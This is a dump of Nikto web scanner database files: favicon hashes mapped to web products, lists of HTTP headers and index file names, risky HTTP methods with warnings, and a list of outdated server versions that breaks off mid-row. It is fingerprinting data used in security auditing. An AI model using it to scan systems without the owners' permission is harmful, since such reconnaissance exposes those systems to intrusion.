"500248","e9dd9992d222d67c8f6a4704d2c88bdd","Zarafa WebAccess" "500249","c126f7e761813946fea2e90ff7ddb838","Zenoss Core" "500501","6399cc480d494bf1fcd7d16c42b1c11b","penguin" "500502","09b565a51e14b721a323f0ba44b2982a","Google web server" "500503","506190fc55ceaa132f1bc305ed8472ca","SocialText" "500504","2cc15cfae55e2bb2d85b57e5b5bc3371","PHPwiki (1.3.14) / gforge (4.6.99+svn6496) - wiki" "500505","389a8816c5b87685de7d8d5fec96c85b","XOOPS cms" "500506","f1876a80546b3986dbb79bad727b0374","NetScreen WebUI or 3Com Router" "500507","226ffc5e483b85ec261654fe255e60be","Netscape 4.1" "500508","b25dbe60830705d98ba3aaf0568c456a","Netscape iPlanet 6.0" "500509","41e2c893098b3ed9fc14b821a2e14e73","Netscape 6.0 (AOL)" "500510","a28ebcac852795fe30d8e99a23d377c1","SunOne 6.1" "500511","71e30c507ca3fa005e2d1322a5aa8fb2","Apache on Redhat" "500512","d41d8cd98f00b204e9800998ecf8427e","Zero byte favicon" "500513","dcea02a5797ce9e36f19b7590752563e","Parallels Plesk " "500514","6f767458b952d4755a795af0e4e0aa17","Yahoo!" "500515","5b0e3b33aa166c88cee57f83de1d4e55","DotNetNuke (http://www.dotnetnuke.com)" "500516","7dbe9acc2ab6e64d59fa67637b1239df","Lotus-Domino" "500517","fa54dbf2f61bd2e0188e47f5f578f736","WordPress" "500518","6cec5a9c106d45e458fc680f70df91b0","WordPress - obsolete version" "500519","81ed5fa6453cf406d1d82233ba355b9a","E-zekiel" "500520","ecaa88f7fa0bf610a5a26cf545dcd3aa","3-byte invalid favicon" "500521","c1201c47c81081c7f0930503cae7f71a","vBulletin forum" "500522","edaaef7bbd3072a3a0c3fb3b29900bcb","Powered by Reynolds Web Solutions (Car sales CMS)" "500523","d99217782f41e71bcaa8e663e6302473","Apache on Red Hat/Fedora" "500524","a8fe5b8ae2c445a33ac41b33ccc9a120","Arris Touchstone Device" "500525","d16a0da12074dae41980a6918d33f031","ST 605" "500526","befcded36aec1e59ea624582fcb3225c","SpeedTouch" "500527","e4a509e78afca846cd0e6c0672797de5","i3micro VRG" "500528","3541a8ed03d7a4911679009961a82675","status.net" "500529","fa2b274fab800af436ee688e97da4ac4","Etherpad" "500530","83245b21512cc0a0e7a67c72c3a3f501","OpenXPKI" "500531","85138f44d577b03dfc738d3f27e04992","Gitweb" "500532","70625a6e60529a85cc51ad7da2d5580d","SSLstrip " "500533","99306a52c76e19e3c298a46616c5899c","aMule (2.2.2)" "500534","31c16dd034e6985b4ba929e251200580","Stephen Turner Analog (6.0)" "500535","2d4cca83cf14d1adae178ad013bdf65b","Ant docs manual (1.7.1)" "500536","032ecc47c22a91e7f3f1d28a45d7f7bc","Ant docs (1.7.1) / libjakarta-poi-java (3.0.2)" "500537","31aa07fe236ee504c890a61d1f7f0a97","apache2 (2.2.9) docs-manual" "500538","c0c4e7c0ac4da24ab8fc842d7f96723c","xsp (1.9.1)" "500539","d6923071afcee9cebcebc785da40b226","autopsy (2.08)" "500540","7513f4cf4802f546518f26ab5cfa1cad","axyl (2.6.0)" "500541","de68f0ad7b37001b8241bce3887593c7","b2evolution (2.4.2)" "500542","140e3eb3e173bfb8d15778a578a213aa","bmpx (0.40.14)" "500543","4f12cccd3c42a4a478f067337fe92794","cacti (0.8.7b)" "500544","c0533ae5d0ed638ba3fb3485d8250a28","CakePHP (1.1.x)" "500545","66b3119d379aee26ba668fef49188dd3","cakephp (1.2.x-1.3x)" "500546","09f5ea65a2d31da8976b9b9fd2bf853c","caudium (1.4.12)" "500547","f276b19aabcb4ae8cda4d22625c6735f","cgiirc (0.5.9)" "500548","a18421fbf34123c03fb8b3082e9d33c8","chora2 (2.0.2) " "500549","23426658f03969934b758b7eb9e8f602","chronicle (2.9) theme-steve" "500550","75069c2c6701b2be250c05ec494b1b31","chronicle (2.9) theme-blog.mail-scanning.com" "500551","27c3b07523efd6c318a201cac58008ba","cimg (1.2.0.1) " "500552","ae59960e866e2730e99799ac034eacf7","webcit (7.37)" "500553","2ab2aae806e8393b70970b2eaace82e0","couchdb (0.8.0-0.9.1)" "500554","ddd76f1cfe31499ce3db6702991cbc45","cream (0.41)" "500555","74120b5bbc7be340887466ff6cfe66c6","cups (1.3.9) - doc" "500556","abeea75cf3c1bac42bbd0e96803c72b9","doc-iana-20080601" "500557","3ef81fad2a3deaeb19f02c9cf67ed8eb","dokuwiki (0.0.20080505) " "500558","e6a9dc66179d8c9f34288b16a02f987e","Drupal CMS (5.10) " "500559","bba9f1c29f100d265865626541b20a50","dtc (0.28.10) " "500560","171429057ae2d6ad68e2cd6dcfd4adc1","ebug-http (0.31)" "500561","f6e9339e652b8655d4e26f3e947cf212","eGroupWare (1.0.0.009, 1.4.004-2) (/phpgwapi/templates/idots/images/favicon.ico)" "500562","093551287f13e0ee3805fee23c6f0e12","freevo (1.8.1) " "500563","56753c5386a70edba6190d49252f00bb","gallery (1.5.8)" "500564","54b299f2f1c8b56c8c495f2ded6e3e0b","garlic-doc (1.6) " "500565","857281e82ea34abbb79b9b9c752e33d2","gforge (4.6.99+svn6496) - webcalendar" "500566","27a097ec0dbffb7db436384635d50415","gforge (4.6.99+svn6496) - images" "500567","0e14c2f52b93613b5d1527802523b23f","gforge (4.6.99+svn6496) " "500568","c9339a2ecde0980f40ba22c2d237b94b","glpi (0.70.2)" "500569","db1e3fe4a9ba1be201e913f9a401d794","gollem (1.0.3)" "500570","921042508f011ae477d5d91b2a90d03f","gonzui (1.2+cvs20070129) " "500571","ecab73f909ddd28e482ababe810447c8","gosa (2.5.16.1)" "500572","c16b0a5c9eb3bfd831349739d89704ec","gramps (3.0.1)" "500573","63d5627fc659adfdd5b902ecafe9100f","gsoap (2.7.9l) " "500574","462794b1165c44409861fcad7e185631","hercules (3.05) " "500575","3995c585b76bd5aa67cb6385431d378a","horde-sam (0.1+cvs20080316) - silver" "500576","ee3d6a9227e27a5bc72db3184dab8303","horde-sam (0.1+cvs20080316) - graphics" "500577","7cc1a052c86cc3d487957f7092a6d8c3","horde (3.2.1) - graphics/tango" "500578","5e99522b02f6ecadbb3665202357d775","hplip (2.8.7) - installer" "500579","39308a30527336e59d1d166d48c7742c","Hewlett-Packard HPLIP (2.8.7) - doc" "500580","43d4aa56dc796067b442c95976a864fd","hunchentoot (0.15.7) " "500581","32bf63ac2d3cfe82425ce8836c9ce87c","ikiwiki (2.56ubuntu1)" "500582","f567fd4927f9693a7a2d6cacf21b51b6","Horde IMP (4.1.4 - 4.1.6, also used in Horde Groupware Webmail 1.0.1))" "500583","919e132a62ea07fce13881470ba70293","Horde Groupware Webmail 1.0.1 (Ingo Theme, 1.1.5)" "500584","ed7d5c39c69262f4ba95418d4f909b10","jetty (5.1.14)" "500585","6900fab05a50a99d284405f46e5bc7f6","k3d (0.6.7.0) " "500586","24d1e355c00e79dc13b84d5455534fe7","kdelibs (3.5.10-4.1.4) " "500587","8ab2f1a55bcb0cac227828afd5927d39","kdenetwork (4.1.4)" "500588","54667bea91124121e98da49e55244935","kolab-webadmin (2.1.0-20070510)" "500589","a5b126cdeaa3081f77a22b3e43730942","Horde Groupware Webmail 1.0.1 (Kronolith Theme, 2.1.8)" "500590","d00d85c8fb3a11170c1280c454398d51","ktorrent (3.1.2) " "500591","fa21ab1b1e1b4c9516afbd63e91275a9","lastfmproxy (1.3b) " "500592","663ee93a41000b8959d6145f0603f599","ldap-account-manager (2.3.0) " "500593","ea84a69cb146a947fac2ac7af3946297","boost (1.34.1) " "500594","eb3e307f44581916d9f1197df2fc9de3","flac (1.2.1) " "500595","669bc10baf11b43391294aac3e1b8c52","libitpp (4.0.4)" "500596","b8fe2ec1fcc0477c0d0f00084d824071","lucene (2.3.2) " "500597","12225e325909cee70c31f5a7ab2ee194","ramaze-ruby (0.3.9.1) " "500598","6be5ebd07e37d0b415ec83396a077312","ramaze-ruby (0.3.9.1) - dispatcher" "500599","20e208bb83f3eeed7c1aa8a6d9d3229d","libswarmcache-java (1.0RC2+cvs20071027)" "500600","5f8b52715c08dfc7826dad181c71dec8","mahara (1.0.4)" "500601","ebe293e1746858d2548bca99c43e4969","Mantis Bug Tracker (1.1.2, /bugs/images/favicon.ico)" "500602","0d42576d625920bcd121261fc5a6230b","mathomatic (14.0.6)" "500603","f972c37bf444fb1925a2c97812e2c1eb","mediatomb (0.11.0)" "500604","f5f2df7eec0d1c3c10b58960f3f8fb26","Horde Groupware Webmail 1.0.1 (Mnemo Theme, 2.1.2) " "500605","933a83c6e9e47bd1e38424f3789d121d","Moodle (1.8.2, 1.9.x, multiple default themes) " "500606","b6652d5d71f6f04a88a8443a8821510f","Moodle (1.8.2, 1.9.x, Cornflower Theme, /theme/cornflower/favicon.ico)" "500607","06b60d90ccfb79c2574c7fdc3ac23f05","movabletype-opensource (4.2~rc4)" "500608","21d80d9730a56b26dc9d252ffabb2987","mythplugins (0.21.0+fixes18722) " "500609","81df3601d6dc13cbc6bd8212ef50dd29","Horde Groupware Webmail 1.0.1 (Nag Theme, 2.1.4)" "500610","1c4201c7da53d6c7e48251d3a9680449","nagios (3.0.2)" "500611","28015fcdf84ca0d7d382394a82396927","nanoblogger (3.3)" "500612","868e7b460bba6fe29a37aa0ceff851ba","netmrg (0.20)" "500613","0b2481ebc335a2d70fcf0cba0b3ce0fc","ntop (3.3)" "500614","c30bf7e6d4afe1f02969e0f523d7a251","nulog (2.0)" "500615","9a8035769d7a129b19feb275a33dc5b4","ocsinventory-server (1.01)" "500616","75aeda7adbd012fa93c4ae80336b4f45","parrot (0.4.13) - docs" "500617","70777a39f5d1de6d3873ffb309df35dd","pathological (1.1.3)" "500618","82d746eb54b78b5449fbd583fc046ab2","perl-doc-html (5.10.0)" "500619","90c244c893a963e3bb193d6043a347bd","phpgroupware (0.9.16.012) " "500620","4b30eec86e9910e663b5a9209e9593b6","phpldapadmin (1.1.0.5)" "500621","02dd7453848213a7b5277556bcc46307","phpmyadmin (2.11.8.1) - pmd " "500622","d037ef2f629a22ddadcf438e6be7a325","phpmyadmin (2.11.8.1)" "500623","8190ead2eb45952151ab5065d0e56381","pootle (1.1.0)" "500624","ba84999dfc070065f37a082ab0e36017","prewikka (0.9.14)" "500625","0f45c2c79ebe90d6491ddb111e810a56","python-cherrypy (2.3.0-3.0.2)" "500626","e551b7017a9bd490fc5b76e833d689bf","MoinMoin (1.7.1)" "500627","275e2e37fc7be50c1f03661ef8b6ce4f","myghty (1.1)" "500628","68b329da9893e34099c7d8ad5cb9c940","myghty (1.1) - zblog " "500629","5488c1c8bf5a2264b8d4c8541e2d5ccd","turbogears (1.0.4.4) - genshi/elixir" "500630","6927da350550f29bc641138825dff36f","python-werkzeug (0.3.1) - docs " "500631","e3f28aab904e9edfd015f64dc93d487d","python-werkzeug (0.3.1) - cupoftee-examples" "500632","69f8a727f01a7e9b90a258bc30aaae6a","quantlib-refman-html (0.9.0)" "500633","b01625f4aa4cd64a180e46ef78f34877","quickplot (0.8.13)" "500634","af83bba99d82ea47ca9dafc8341ec110","qwik (0.8.4.4ubuntu2)" "500635","e9469705a8ac323e403d74c11425a62b","roundcube (0.1.1)" "500636","7f57bbd0956976e797b4e8eebdc6d733","selfhtml (8.1.1)" "500637","69acfcb2659952bc37c54108d52fca70","solr (1.2.0) - docs" "500638","ffc05799dee87a4f8901c458f7291d73","solr (1.2.0) - admin" "500639","aa2253a32823c8a5cba8d479fecedd3a","sork-forwards-h3 (3.0.1)" "500640","a2e38a3b0cdf875cd79017dcaf4f2b55","sork-passwd-h3 (3.0)" "500641","cb740847c45ea3fbbd80308b9aa4530a","sork-vacation-h3 (3.0.1)" "500642","7c7b66d305e9377fa1fce9f9a74464d9","spe (0.8.4.h)" "500643","0e2503a23068aac350f16143d30a1273","sql-ledger (2.8.15)" "500644","1fd3fafc1d461a3d19e91dbbba03d0aa","tea (17.6.1)" "500645","4644f2d45601037b8423d45e13194c93","Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community" "500646","1de863a5023e7e73f050a496e6b104ab","torrentflux (2.4)" "500647","83dea3d5d8c6feddec84884522b61850","torrentflux (2.4) - themes/G4E/" "500648","d1bc9681dce4ad805c17bd1f0f5cee97","torrentflux (2.4) - themes/BlueFlux/" "500649","8d13927efb22bbe7237fa64e858bb523","transmission (1.34)" "500650","5b015106854dc7be448c14b64867dfa5","tulip (3.0.0~B6)" "500651","ff260e80f5f9ca4b779fbd34087f13cf","Horde Groupware Webmail 1.0.1 (Turba Theme, 2.1.7)" "500652","e7fc436d0bf31500ced7a7143067c337","twiki (4.1.2) - logos/favicon.ico" "500653","9789c9ab400ea0b9ca8fcbd9952133bd","twiki (4.1.2) - webpreferences " "500654","2b52c1344164d29dd8fb758db16aadb6","vdr-plugin-live (0.2.0)" "500655","237f837bbc33cd98a9f47b20b284e2ad","vdradmin-am (3.6.1) " "500656","6f7e92fe7e6a62661ac2b41528a78fc6","vlc (0.9.4)" "500657","2507c0b0a60ecdc816ba45482affaedf","webcheck (1.10.2.0) " "500658","ef5169b040925a716359d131afbea033","websvn (2.0) " "500659","f6d0a100b6dbeb5899f0975a1203fd85","witty (2.1.5)" "500660","81feac35654318fb16d1a567b8b941e7","yaws (1.77)" "500661","33b04fb9f2ec918f5f14b41527e77f6d","znc (0.058)" "500662","6434232d43f27ef5462ba5ba345e03df","znc (0.058, webadmin/skins/default)" "500663","e07c0775523271d629035dc8921dffc7","zoneminder (1.23.3)" "500664","4eb846f1286ab4e7a399c851d7d84cca","Plone CMS (3.1.1)" "500665","e298e00b2ff6340343ddf2fc6212010b","Nessus 4.x Scanner Web Client" "500666","240c36cd118aa1ff59986066f21015d4","LANCOM Systems" "500667","ceb25c12c147093dc93ac8b2c18bebff","COMpact 5020 VoIP" "500668","05656826682ab3147092991ef5de9ef3","RapidShare" "500669","e19ffb2bc890f5bdca20f10bfddb288d","Rapid7 (NeXpose)" "500670","1f8c0b08fb6b556a6587517a8d5f290b","owasp.org" "500671","73778a17b0d22ffbb7d6c445a7947b92","Apache on Mac OS X" "500672","799f70b71314a7508326d1d2f68f7519","JBoss Server" "500673","bd0f7466d35e8ba6cedd9c27110c5c41","Serena Collage (4.6, servlet/images/collage_app.ico)" "500674","dc0816f371699823e1e03e0078622d75","Aruba Network Devices (HTTP(S) login page)" "500675","f097f0adf2b9e95a972d21e5e5ab746d","Citrix Access Server" "500676","28893699241094742c3c2d4196cd1acb","Xerox DocuShare" "500677","80656aabfafe0f3559f71bb0524c4bb3","Macromedia Breeze" "500678","48c02490ba335a159b99343b00decd87","Octeth Technologies oemPro (3.5.5.1)" "500679","eb6d4ce00ec36af7d439ebd4e5a395d7","Mailman" "500680","04d89d5b7a290334f5ce37c7e8b6a349","Atlassian Jira Bug Tracker" "500681","d80e364c0d3138c7ecd75bf9896f2cad","Apache Tomcat (6.0.18), Alfresco Enterprise Content Management System" "500682","a6b55b93bc01a6df076483b69039ba9c","Fog Creek Fogbugz (6.1.44)" "500683","ee4a637a1257b2430649d6750cda6eba","Trimble Device Embedded Web Server" "500684","9ceae7a3c88fc451d59e24d8d5f6f166","Plesk managed system" "500685","69ae01d0c74570d4d221e6c24a06d73b","Roku Soundbridge" "500686","2e9545474ee33884b5fb8a9a0b8806dd","Ampache" "500687","639b61409215d770a99667b446c80ea1","Lotus Domino Server" "500688","be6fb62815509bd707e69ee8dad874a1","i.LON server by Echelon" "500689","a46bc7fc42979e9b343335bdd86d1c3e","NetScout NGenius" "500690","192decdad41179599a776494efc3e720","JBoss Installation" "500691","de2b6edbf7930f5dd0ffe0528b2bbcf4","Barracuda Spam/Virus firewall appliance" "500692","386211e5c0b7d92efabd41390e0fc250","SparkWeb web-based collaboration client. http://www.igniterealtime.org/" "500693","f89abd3f358cb964d6b753a5a9da49cf","LimeSurvey" "500694","a7947b1675701f2247921cf4c2b99a78","Alexander Palmo Simple PHP Blog" "500695","01febf7c2bd75cd15dae3aa093d80552","Atlassian Crucible or Fisheye" "500696","1275afc920a53a9679d2d0e8a5c74054","Atlassian Crowd" "500697","12888a39a499eb041ca42bf456aca285","Atlassian Confluence or Crowd" "500698","3341c6d3c67ccdaeb7289180c741a965","Atlassian Confluence or Crowd" "500699","6c1452e18a09070c0b3ed85ce7cb3917","Atlassian Jira" "500700","43ba066789e749f9ef591dc086f3cd14","Atlassian Bamboo" "500701","a83dfece1c0e9e3469588f418e1e4942","Atlassian Bamboo" "500702","f0ee98b4394dfdab17c16245dd799204","Drupal" "500703","7b0d4bc0ca1659d54469e5013a08d240","Netgear (Infrant) ReadyNAS NV+" "500704","cee40c0b35bded5e11545be22a40e363","OSSDL.de Openmailadmin" "500705","4f88ba9f1298701251180e6b6467d43e","Xinit Systems Ltd. Openfiler" "500706","4c3373870496151fd02a6f1185b0bb68","rPath Appliance Agent" "500707","b231ad66a2a9b0eb06f72c4c88973039","WordPress" "500708","e1e8bdc3ce87340ab6ebe467519cf245","WordPress" "500709","95103d0eabcd541527a86f23b636e794","WordPress Multi-User (MU)" "500710","64ca706a50715e421b6c2fa0b32ed7ec","Parallels Plesk Control Panel" "500711","f425342764f8c356479d05daa7013c2f","vBulletin forum" "500712","740af61c776a3cb98da3715bdf9d3fc1","vBulletin forum" "500713","d7ac014e83b5c4a2dea76c50eaeda662","vBulletin forum" "500714","a47951fb41640e7a2f5862c296e6f218","Plone CMS" "500715","10bd6ad7b318df92d9e9bd03104d9b80","Plone CMS" "500716","e08333841cbe40d15b18f49045f26614","21publish Blog" "500717","e2cac3fad9fa3388f639546f3ba09bc0","Invision Power Services IP.Board" "500718","5ec8d0ecf7b505bb04ab3ac81535e062","Telligent Community Server" "500719","83a1fd57a1e1684fafd6d2487290fdf5","Pligg" "500720","b7f98dd27febe36b7275f22ad73c5e84","MoinMoin" "500721","63b982eddd64d44233baa25066db6bc1","Joomla!" "500722","05bc6d56d8df6d668cf7e9e11319f4e6","Jive Forums" "500723","63740175dae089e479a70c5e6591946c","The Lyceum Project" "500724","4cbb2cfc30a089b29cd06179f9cc82ff","Dragonfly" "500725","9187f6607b402df8bbc2aeb69a07bbca","XOOPS" "500727","a1c686eb6e771878cf6040574a175933","CivicPlus" "500728","4d7fe200d85000aea4d193a10e550d04","Intland Software codeBeamer" "500729","1a9a1ec2b8817a2f951c9f1793c9bc54","Bitweaver" "500730","1cc16c64d0e471607677b036b3f06b6e","Roller Weblogger Project" "500731","7563f8c3ebd4fd4925f61df7d5ed8129","Holger Zimmerman Pi3Web HTTP Server" "500732","7f0f918a78ca8d4d5ff21ea84f2bac68","SubText" "500733","86e3bf076a018a23c12354e512af3b9c","Spyce" "500734","9c003f40e63df95a2b844c6b61448310","DD-WRT Embedded Web Server" "500735","9a9ee243bc8d08dac4448a5177882ea9","Dvbbs Forum" "500736","ee1169dee71a0a53c91f5065295004b7","ProjectPier" "500737","7214637a176079a335d7ac529011f4e4","phpress" "500738","1bf954ba2d568ec9771d35c94a6eb2dc","WoltLab Burning Board" "500739","ff3b533b061cee7cfbca693cc362c34a","Kayako SupportSuite" "500740","428b23df874b41d904bbae29057bdba5","Comsenz Technology Ltd ECShop" "500741","8757fcbdbd83b0808955f6735078a287","Comsenz Technology Ltd Discuz!" "500742","9fac8b45400f794e0799d0d5458c092b","Comsenz Technology Ltd Discuz!" "500743","4e370f295b96eef85449c357aad90328","Comsenz Technology Ltd SupeSite" "500744","4cfbb29d0d83685ba99323bc0d4d3513","PHPWind Forums 7" "500745","2df6edffca360b7a0fadc3bdf2191857","PIPS Technology ATZ Executive / Automatic Licence Plate Recognition (ALPR) System" "500746","8c291e32e7c7c65124d19eb17bceca87","Schneider Electric Modicon 340 / BMX P34 CPU B" "500747","6dcab71e60f0242907940f0fcda69ea5","Ubiquiti Ubiquiti M Series / AirOS" "500748","09a1e50dc3369e031b97f38abddd10c8","Ubiquiti Ubiquiti M Series / AirOS" "500749","7b345857204926b62951670cd17a08b7","AXESS TMC X1 or X2 Terminal" "500750","0f584138aacfb79aaba7e2539fc4e642","Plex Media Server" "500751","4973c3c3067f8526ad0dacd2823b814e","Adobe Experience Manager/CQ5" "500752","7a52b2a795dabe950e9dd2381ded8dc7","Adobe CRXDE Lite" "500753","5a77e47fa23554a4166d2303580b0733","Sawmill" "500754","39a1599714e68d8d9af295f8dc5ab314","Apache" "500755","ca5aeaaabc9019eb5ce8e03ec3bd809d","Apache" "500756","fc4f0fca3dc008655feb2563fa7bbdd2","Apache" "500757","ab5fbb78e839bac0eee74787740475e8","Apache" "500758","f4d83423148320676d1db1269c333da2","Apache" "500759","a2b03592bd74d3bf6b71a327a4b39ff6","Apache" "500760","e2f638a6572e9270ac73402f6481425b","Apache" "500761","2b354dcd9968722567eaf374d6ed2132","Apache" "500762","4afcc9582b28af45ce8a1312761d8d4c","Apache" "500763","8d3fd22cab7ad1a6b10ae10e96143333","Apache" "500764","3e87f7b72db63dfb1700207d0ee0ec13","Apache" "500765","5d48c15b19222264f533c25943519861","Apache" "500766","e738f22aab002bd66350d1b2d930e9a9","Apache" "500767","42bb648e781be6baa099b76e75609126","Apache" "500768","07e9163f7ca8cfe6c1d773f895fbebad","Apache" "500769","aa9b62c9aa50e0bc1f77061e6362d736","Apache" "500770","a4eb4e0aa80740db8d7d951b6d63b2a2","ownCloud" "500771","56974e6b57c7bd51448c309915ca0d6c","Ghost blog (0.7.x)" "500772","91b72b23e7f499d6c09cb18c7b1278f1","Kodi Media Center 16.x (Web Interface)" "500773","92c5d340d08c6d33676a41ba8dece857","Android PAW Server" "500774","81edeec6e603d73d52bf85a3354fd093","JAMF Software/Casper Suite" "500775","c1f20852dd1caf078f49de77a2de8e3f","vBulletin forum" "500776","e462005902f81094ab3de44e4381de19","Fortinet Device" "500777","b3045c004dd765466e84bd057eaaa795","Skype for Business" "500778","23e8c7bd78e8cd826c5a6073b15068b1","Jenkins" "500779","1391664373e72311a656c4a5504682af","Jira" "500780","995bbe5b7ba2be254ea2752bd66b2f79","Cockpit linux web admin" ================================================ FILE: program/databases/db_headers_common ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### # - Lowercase only ####################################################################### "header" "accept" "accept-ch" "accept-charset" "accept-encoding" "accept-language" "accept-ranges" "access-control-allow-credentials" "access-control-allow-headers" "access-control-allow-methods" "access-control-allow-origin" "access-control-expose-headers" "access-control-max-age" "age" "allow" "alternates" "alt-svc" "authorization" "bfcache-opt-in" "cache-control" "cf-cache-status" "cf-edge-cache" "cf-ray" "cf-request-id" "commerce-server-software" "connection" "content-encoding" "content-language" "content-length" "content-location" "content-md5" "content-range" "content-security-policy" "content-security-policy-report-only" "content-type" "critical-ch" "cross-origin-embedder-policy" "cross-origin-opener-policy" "cross-origin-resource-policy" "dasl" "date" "dav" "etag" "expect" "expect-ct" "expires" "fastly-restarts" "feature-policy" "from" "host" "if-match" "if-modified-since" "if-none-match" "if-range" "if-unmodified-since" "keep-alive" "last-modified" "link" "location" "max-forwards" "mime-version" "nel" "nncoection" "p3p" "persistent-auth" "permissions-policy" "pragma" "proxy-authenticate" "proxy-authorization" "proxy-connection" "public" "range" "referer" "referrer-policy" "report-to" "retry-after" "server" "server-timing" "set-cookie" "status" "strict-transport-security" "te" "timing-allow-origin" "traceparent" "trailer" "transfer-encoding" "upgrade" "user-agent" "vary" "via" "warning" "whisker" "www-authenticate" "x-aspnetmvc-version" "x-aspnet-version" "x-cache" "x-cache-group" "x-cache-hits" "x-cache-info" "x-clacks-overhead" "x-cloud-trace-context" "x-cnection" "x-content-security-policy" "x-content-type-options" "x-download-options" "x-drupal-cache" "x-frame-options" "x-generator" "x-google-gfe-backend-request-cost" "x-google-gfe-load-report" "x-guploader-uploadid" "x-id" "x-nf-request-id" "xmlns" "x-amz-cf-id" "x-amz-cf-pop" "x-amzn-requestid" "x-amz-version-id" "x-azure-ref" "x-cdn" "x-correlation-id" "x-dns-prefetch-control" "x-fd-int-roxy-purgeid" "x-mod-pagespeed" "x-ms-request-id" "x-pad" "x-page-speed" "x-permitted-cross-domain-policies" "x-pingback" "x-powered-by" "x-robots-tag" "x-timer" "x-ua-compatible" "x-varnish" "x-webkit-csp" "x-xss-protection" ================================================ FILE: program/databases/db_headers_suggested ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2024 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### # - Use lowercase only # - Keep list alphabetically (for readability) ####################################################################### #"header","reference" "content-security-policy","https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" "permissions-policy","https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy" "referrer-policy","https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy" "strict-transport-security","https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security" "x-content-type-options","https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options" ================================================ FILE: program/databases/db_multiple_index ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### "index" "index.php" "index.php3" "index.php4" "index.php5" "index.php7" "index.html" "index.htm" "index.shtml" "index.cfm" "index.cgi" "index.pl" "index.asp" "index.aspx" "default.asp" "default.aspx" "default.htm" "index.do" "index.jhtml" "index.jsp" "index.xml" ================================================ FILE: program/databases/db_options ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### "nikto_id","method","references","message" "400000","DELETE","https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/DELETE","HTTP method ('@TYPE@' Header): 'DELETE' may allow clients to remove files on the web server." "400001","PUT","https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/PUT","HTTP method ('@TYPE@' Header): 'PUT' method could allow clients to save files on the web server." "400002","MOVE","https://tools.ietf.org/html/rfc3744","HTTP method ('@TYPE@' Header): 'MOVE' may allow clients to change file locations on the web server." "400003","CONNECT","https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/CONNECT","HTTP method ('@TYPE@' Header): 'CONNECT' may allow server to proxy client requests." "400004","PATCH","https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/PATCH","HTTP method: 'PATCH' may allow client to issue patch commands to server. See RFC-5789." # WebDAV methods - "0" in nikto_id tells the code to treat it differently "0","PROPFIND","https://tools.ietf.org/html/rfc3744","webdav" "0","PROPPATCH","https://tools.ietf.org/html/rfc3744","webdav" "0","COPY","https://tools.ietf.org/html/rfc3744","webdav" "0","LOCK","https://tools.ietf.org/html/rfc3744","webdav" "0","UNLOCK","https://tools.ietf.org/html/rfc3744","webdav" "0","SEARCH","https://tools.ietf.org/html/rfc3744","webdav" "0","MKCOL","https://tools.ietf.org/html/rfc3744","webdav" ================================================ FILE: program/databases/db_outdated ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### #"nikto_id","server","version","message" "600000","\(www\.ebdesk\.com\)/","1.3.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600001","0W/","0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600002","3Com/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600003","3Com/v","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600004","4D_WebStar_D/","7.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600005","4D_WebSTAR_S/","5.4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600006","4n4l0g4l1f3/","31337","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600007","a-p-a-c-h-e/","1-3-26","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600008","ABWS/","537","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600009","Abyss/","2.16.9.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600010","AbyssLib/","2.16.9.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600011","Academy/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600012","accela/","1.92","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600013","Accipiter-DirectServer/","6.0.0.36","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600014","ACI-4D/","6.57","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600015","Acme.Serve/","v1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600016","ActiveAgent/","4.2","@RUNNING_VER appears to be outdated 